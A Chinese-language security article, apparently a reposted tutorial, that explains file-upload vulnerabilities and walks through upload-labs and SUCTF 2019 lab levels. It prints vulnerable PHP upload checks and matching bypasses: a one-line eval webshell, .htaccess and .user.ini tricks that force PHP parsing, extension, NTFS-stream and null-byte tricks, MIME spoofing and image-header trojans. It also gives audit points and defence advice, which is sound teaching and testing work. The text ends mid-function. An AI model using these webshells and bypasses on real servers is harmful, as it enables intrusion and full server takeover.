查看原文
其他

实战 | 文件上传漏洞之最全代码检测绕过总结

Ulysses HACK学习呀 2022-05-07

文件上传漏洞

漏洞介绍

文件上传漏洞是指攻击者上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务端命令的能力。该漏洞在业务应用系统中出现概率较高,究其原因是业务场景中上传附件、头像等功能非常常见,若在系统设计中忽略了相关的安全检查,则容易导致文件上传漏洞。

业务应用系统中的文件上传功能是导致上传漏洞的重要安全隐患之一。通过文件上传功能,用户可以直接将本地文件上传到服务端,若通过构造URL地址可以直接访问到已上传的文件,则会触发漏洞。例如,若上传的文件是一个非正常服务端文件,如JSP文件、ASP文件、ASPX文件、JSPX文件、PHP文件等可直接执行服务后端代码的文件,则该文件实际可视为“木马文件”。

程序开发中不严格或不安全的逻辑问题会导致文件上传漏洞,程序开发所使用的编程语言以及版本、所用的操作系统,以及不同的应用场景也可能导致文件上传漏洞,所以文件上传漏洞的表现形式与其成因息息相关。

借助文件上传漏洞,攻击者可以获取业务信息系统的WebShell,进一步通过WebShell对该业务系统以及服务器自身的操作系统进行操作,如增加、删除、修改、查看文件等敏感操作。因此相较于其它文件类型的漏洞,文件上传漏洞的危害更大。

产生原因

一些web应用程序中允许上传图片,文本或者其他资源到指定的位置,文件上传漏洞就是利用这些可以上传的地方将恶意代码植入到服务器中,再通过 URL 去 访问以执行代码。

造成文件上传漏洞的原因是:

•服务器配置不当•开源编辑器上传漏洞•本地文件上传限制被绕过•过滤不严格被绕过•文件解析漏洞导致文件执行•文件路径截断

漏洞危害

•上传文件是web脚本语言,服务器的web容器解释并执行了用户上传的脚本,导致代码执行。•上传文件是病毒或者木马时,主要用于诱骗用户或者管理员下载执行或者直接 自劢运行;•上传文件是Flash的策略文件 crossdomain.xml,黑客用以控制Flash在该域 下的行为(其他通过类似方式控制策略文件的情况类似);•上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行;•上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。除此之外,还有一些不常见的利用方法,比如将上传文件作为一个入口,溢 出服务器的后台处理程序,如图片解析模块;或者上传一个合法的文本文件,其内容包含了PHP脚本,再通过"本地文件包含漏洞(Local File Include)"执行此脚本。

审计要点

在代码审计中进行上传漏洞检查时,首先需要判断上传功能的代码是否对上传的文件进行了校验,如果没有任何校验即存在任意文件上传漏洞,但危险程度仍需进一步判断。(需要检查此处上传的文件是在本地还是在远端,是否存在脚本执行权限或环境支持等,现在很多程序会将附件上传到远端的OSS对象中存储。)

如果代码具有文件校验功能,接下来则需要验证文件校验代码是否完善,可以分别从前端和后端两个方面分析校验的完整性。

•前端校验:主要是分析JavaScript对上传文件的后缀名进行校验的完整性•后端校验:主要是分析黑名单扩展名拦截、白名单扩展名拦截、HTTP Header的Content-Typ验证、文件头验证、二次渲染验证和文件名随机化等几个校验方法的完整性。

总结审计要点:寻找上传点,检查后缀名是否可自定义,若设置防御,是否可绕过;文件内容是否有校验,校验是否可绕过;是否检查了文件类型;文件上传路径是否可控;文件目录是否要求禁止脚本解析等。

image-20220114170830584

防御建议

前端防御主要采用前端校验,利用JavaScript对文件大小、扩展名等进行检验。后端校验是防御的核心,主要是禁止对上传的文件目录进行解析,上传的文件随机且检查后缀名,设置文件后缀白名单(在使用PHP的in_array函数进行后缀名检测时,要注意设置此函数的第三个参数为true,不然可通过此函数缺陷绕过检测),对文件内容、大小和类型进行检测等。

实验靶场备注:

接下来使用的靶场是c0ny1大大做的upload_labs,我在当时下的是老版本的,只有20关。新版本有21关,插入了一个新的Pass-5,使用的解法是上传.user.ini,这个解法我在这里使用的是SUCTF的Web题。

靶场项目地址:https://github.com/c0ny1/upload-labs

客户端检验绕过

一般都是在网页上写一段 javascript 脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。

前端检测的绕过方法十分简单,这里就不详细展开讲解了。绕过方法有如下几种:

1.通过火狐插件 NOscript 插件或者禁用 IE 中 JS 脚本;2.通过元素审查修改代码(如删除 onsubmit=”return checkFile()” 事件);3.通过元素审查 javascirpt 脚本中添加上传文件类型;4.通过利用 burp 抓包改包,先上传一个 png 类型的木马,然后通过 burp 将其改为asp/php/jsp 后缀名即可 注意:这里修改文件名字后,请求头中的 Content-Length 的值也要改(burp默认会自动修改)。

靶场绕过示例

靶场:Upload-labs(Pass-01)

当我们想要上传Webshell时,发现前端弹出告警窗口

PS:文章中的hackroot.com是本地解析的靶机,不是在线靶场哦!

image-20220114174620484

审计源代码,其中有一段JavaScript代码用于检测文件扩展名。

<script type="text/javascript">
    function checkFile() {
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }
</script>

绕过技巧

首先更改webshell的扩展名为.png,并启用Burp代理抓包

image-20220114193528473

将文件扩展名改回.php,放行即可

image-20220114193725219

审查页面元素,上传成功

image-20220114193848432

服务端黑名单检验绕过

扩展名黑名单绕过

黑名单检测:一般有个专门的 blacklist 文件,或者黑名单数组,里面会包含常见的危险脚本文件扩展名。

绕过方法:

•找黑名单扩展名的漏网之鱼:比如 iis6.0 中的 asa 和 cer•可能存在大小写绕过漏洞:比如 aSp(iis6.0 中可以)和 pHp(只能在 小于 php5.3.39 中的 linux 中)之中•能被web容器解析的文件其他扩展名列表:

语言可解析后缀
ASP/ASPXasp,aspx,asa,ascx,ashx,asmx,cer,cdx
PHPphp,php5,php4,php3,phtml,pht
JSPjsp,jspx,jspa,jsw,jsv,jspf,jtml


靶场绕过示例

靶场:Upload-labs(Pass-03)

当我们想要上传Webshell时,提示不允许上传.asp.aspx.php.jsp后缀文件。

image-20220115000355619

审计源代码,其中一段使用in_array函数判断所上传文件的扩展名是否存在指定的扩展名黑名单中。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name'.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA'''$file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

绕过技巧

我们可以尝试使用PHP的其它扩展名绕过,如phtml

image-20220116210405949

注:PHPStudy环境默认还是不会解析phtml、php3等扩展名文件的,若想让实验顺利成功,还需要在http.conf配置文件中手动添加

image-20220116210308493

上传.htaccess文件绕过

.htaccess文件的作用

.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。

.htaccess主要的作用有:URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等。

.htaccess的用途范围主要针对当前目录。

启用.htaccess的配置

启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。

打开httpd.conf文件用文本编辑器打开后,查找:

<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>

改为:

<Directory />
Options FollowSymLinks
AllowOverride All
</Directory> 

如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:

AccessFileName .config

.htaccess的使用技巧可以参考下面这篇文章:

https://blog.csdn.net/solitudi/article/details/116666720

靶场绕过示例

靶场:Upload-labs(Pass-04)

审计源代码,虽然还是黑名单,但几乎过滤了所有有问题的后缀名,除了.htaccess。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name'.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA'''$file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

绕过技巧

于是我们可以上传一个.htaccess内容如下的文件:

ForceType application/x-httpd-php
SetHandler application/x-httpd-php

image-20220116234738248

这样所有文件都会被强制解析为php,然后再上传图片马,就可以解析:

image-20220116235242921

image-20220116235050761

上传.user.ini文件绕过

.user.ini。它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。

那么什么是.user.ini?这得从php.ini说起了。php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEMPHP_INI_PERDIRPHP_INI_ALLPHP_INI_USER。在此可以查看:http://php.net/manual/zh/ini.list.php 这几种模式有什么区别?看看官方的解释:

image-20220119135813325

除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。

在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

所以除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。我们可以很容易地借助.user.ini文件,更改auto_prepend_file配置项,来构造一个“后门”。

比如,某网站限制不允许上传.php文件,你便可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。再比如,你只是想隐藏个后门,这个方式是最方便的。

靶场绕过示例

靶场:[SUCTF 2019]CheckIn1

项目地址:https://github.com/team-su/SUCTF-2019/tree/master/Web/checkIn

注:运行靶场的时候发现靶场的DockerFile有问题会导致靶场运行失败,需要修改配置如下:

DockerFile中的

RUN chown www-data:www-data /app/* -R

修改为:

RUN chown application:application /app/ -R

审计源代码,发现该靶场做了如下过滤:

1.使用正则表达式过滤了包含phhtaccess扩展名的文件2.过滤了文件内容包含<?的文件3.使用exif_imagetype规定了必须为图片类型的文件

$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir0777true);
}
file_put_contents($userdir . "/index.php""");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($namestrrpos($name".") + 1);
    if (preg_match("/ph|htaccess/i"$extension)) {
        die("illegal suffix!");
    }
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name$upload_file_path);
    echo "Your dir " . $userdir' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

绕过技巧

1.针对过滤包含phhtaccess扩展名的文件:上传.user.ini与图片马,利用.user.ini进行文件包含2.针对过滤文件内容包含<?的文件:使用php的脚本标记风格<script language='php'>3.针对使用exif_imagetype规定了必须为图片类型的文件:添加文件头内容或合成图片马(稍后会讲)

首先上传.user.ini文件,文件内容为:

GIF89a
auto_prepend_file=shell.png

然后构造一个shell.png,内容如下:

GIF89a
<script language='php'> @eval($_POST['hack']); </script>

然后将两个文件分别上传到服务器上,拿到回显:

image-20220119205426221

在这里可以看到 uploads/ff74881e4a10c9db901a18039a9a1e10 对应的文件夹下面有两个文件,一个是.user.ini,一个是shell.png,当然,还有一个index.php。那就可以构造URL了并用蚁剑连接一下:

image-20220119215010920

拿到flag

image-20220119215247480

利用大小写绕过

Windows对大小写不敏感,Linux对大小写敏感。所以Windows系统可以解析.Php.PHp.PHP.pHp.pHP.phP扩展名的文件。若网站后端过滤并未统一大小写(将文件扩展名转为小写表示),则会造成绕过。

靶场绕过示例

靶场:Upload-labs(Pass-05)

审计源代码,还是黑名单,加上了.htaccess,但是没有将后缀进行大小写统一。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name'.');
        $file_ext = str_ireplace('::$DATA'''$file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        if (!in_array($file_ext$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

我们可以通过大小写绕过:

image-20220117000653063

上传文件,并且可以成功执行webshell代码。

image-20220117000838259

利用空格绕过

Windows系统文件后缀加空格命名之后是默认自动删除空格。若网站后端过滤时没有过滤空格,便可进行绕过。

靶场绕过示例

靶场:Upload-labs(Pass-06)

审计源代码,还是黑名单,但是没有对后缀名进行去空格处理。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name'.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA'''$file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

绕过技巧

可在后缀名中加空格绕过:

image-20220117002419350

上传文件,并且可以成功执行webshell代码。

image-20220117003814127

image-20220117003913555

利用点绕过

同空格绕过原理一样,主要原因是Windows等系统默认删除文件后缀的“.”和空格。若网站后端过滤时没有过滤末尾的点,便可进行绕过。

靶场绕过示例

靶场:Upload-labs(Pass-07)

审计源代码,还是黑名单,但是没有对后缀名进行去”.”处理。

is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name'.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA'''$file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

绕过技巧

利用Windows特性,会自动去掉后缀名中最后的“.”,可在后缀名中加“.”绕过:

image-20220117005012832

利用NTFS流::$DATA绕过

在Windows中如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

例如:phpinfo.php::$DATAWindows会自动去掉末尾的::$DATA变成phpinfo.php

注:这是NTFS文件系统具有的特性,FAT32文件系统无法利用

靶场绕过示例

靶场:Upload-labs(Pass-08)

审计源代码,还是黑名单,但是没有对后缀名进行去::$DATA处理。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name'.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

绕过技巧

利用Windows特性,可在后缀名中加 ::$DATA绕过:

image-20220118132629018

利用点与空过滤绕过

若后端代码只对上传文件进行简单过滤处理就直接将文件名拼接到上传路径中,那么我们可以反过来利用这些过滤处理,得到我们想要上传的文件。

靶场绕过示例

靶场:Upload-labs(Pass-09)

审计源代码,黑名单过滤,注意路径名($img_path)和之前不太一样,路径拼接的是处理后的文件名。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name'.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA'''$file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

绕过技巧

构造shell.php. .(点+空格+点),经过处理后,文件名变成shell.php.,即可绕过:

image-20220118135403024

利用扩展名双写绕过

PHP后端使用str_ireplace这个函数将phpphp5php4等后缀变成空格,且只执行了一次,所以可以尝试构造文件后缀为pphphp绕过。

靶场绕过示例

靶场:Upload-labs(Pass-10)

审计源代码,依旧是黑名单过滤,注意到,这里是将问题后缀名替换为空。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,""$file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file$img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

绕过技巧

构造文件扩展名为.pphphp,双写绕过:

image-20220118141152780

服务端白名单检验绕过

利用00截断绕过

0x00,%00,/00之类的截断,都是一样的,只是不同表示而已。

在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,所以当url中出现%00时就会认为读取已结束。

00截断的使用限制:

•php版本小于5.3.4•php.ini的magic_quotes_gpc为OFF状态

绕过GET方式传入save_path

靶场绕过示例

靶场:Upload-labs(Pass-11)

审计源代码,发现使用了白名单,只允许jpgpnggif文件的上传,所以前面使用的方法都不适用,然后我们发现路径img_path函数是让文件位置(save_path)加时间随机数(rand)的方法生成文件位置和文件名。

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(1099).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

绕过技巧

这里我们可以尝试在save_path的地方使用%00的方法截断后面的语句,BurpSuite抓包发现,是可以更改save_path的。

image-20220118164113988

绕过POST方式传入save_path

靶场绕过示例

靶场:Upload-labs(Pass-12)

审计源代码,还是使用白名单检测,不过和十一关不同的是这次的save_path是通过post传进来的。

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(1099).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

绕过技巧

还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码:

image-20220119004322100

这里在php的后面添加了一个空格和字母a,其实a写不写都可以,这里加a是为了显示空格的位置。空格是为了占位,方便修改00。

然后打开hex,(空格的16进制为0x20)修改16进制内容,把20改成00:

image-20220119004644660

image-20220119004802519

就绕过了后缀限制,可以上传webshell啦。

MIME类型(Content-Type)检验绕过

Content-Type(MediaType),即是Internet Media Type,互联网媒体类型,也叫做MIME类型。在互联网中有成百上千中不同的数据类型,HTTP在传输数据对象时会为他们打上称为MIME的数据格式标签,用于区分数据类型。最初MIME是用于电子邮件系统的,后来HTTP也采用了这一方案。在HTTP协议消息头中,使用Content-Type来表示请求和响应中的媒体类型信息。它用来告诉服务端如何处理请求的数据,以及告诉客户端(一般是浏览器)如何解析响应的数据,比如显示图片,解析并展示html等等。

使用burpsuite拦截分别为jpg和php类型观察Content-Type发现Content-Type不同。

image-20220114223604206

image-20220114224045801

常见的媒体格式类型如下:

•text/html:HTML格式•text/plain:纯文本格式•text/xml:XML格式•text/css:CSS格式•text/javascript:JS格式•image/gif:GIF图片格式•image/jpeg:JPG图片格式•image/png:PNG图片格式•image/svg+xml:SVG矢量图格式•video/mpeg:MPEG动画格式•application/xhtml+xml:XHTML格式•application/xml:XML数据格式•application/json:JSON数据格式•application/atom+xml:Atom+XML聚合格式•application/pdf:PDF文档格式•application/msword:Word文档格式•application/octet-stream:二进制数据流(如常见的文件下载)•application/x-www-form-urlencoded:form表单被编码成key/value格式发送到服务器(表单默认提交数据的格式)•multipart/form-data:POST 提交时伴随文件上传的表单

靶场绕过示例

靶场:Upload-labs(Pass-02)

当我们想要上传Webshell时,提示文件类型不正确

image-20220114225607320

审计源代码,其中有一段使用$_FILE超全局变量判断MIME类型,规定了只允许image/jpegimage/pngimage/gif能够正确上传。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];          
            if (move_uploaded_file($temp_file$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

绕过技巧

上传WebShell,使用BurpSuite抓包,修改content-type绕过

image-20220114231520463

文件头内容检验绕过

不同的图片文件都有不同文件头。上传文件的时候会检查上传文件是否合法,如GIF图片文件是否文件头含有 gif89,可以通过编辑器在WebShell内容基础上再加了一些文件信息,有点像下面的结构:

GIF89a <?php phpinfo(); ?>

或者使用MS_DOS命令制作图片木马:

copy normal.jpg /b + shell.php /a webshell.jpg

绕过unpack函数解包检验文件类型

靶场绕过示例

靶场:Upload-labs(Pass-13)

审计源代码,发现对文件头进行了校验,通过读文件的前2个字节判断文件类型。

function getReailFileType($filename){
    $file = fopen($filename"rb");
    $bin = fread($file2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars"$bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(1099).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

绕过技巧

在WebShell内容开头添加GIF89a

image-20220119010733559

image-20220119011157760

成功上传后需要配合文件包含漏洞才可执行代码。

绕过getimagesize函数检验文件类型

靶场绕过示例

靶场:Upload-labs(Pass-14)

审计源代码,这里使用getimagesize函数获取文件类型,本质上也是校验文件头内容。

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
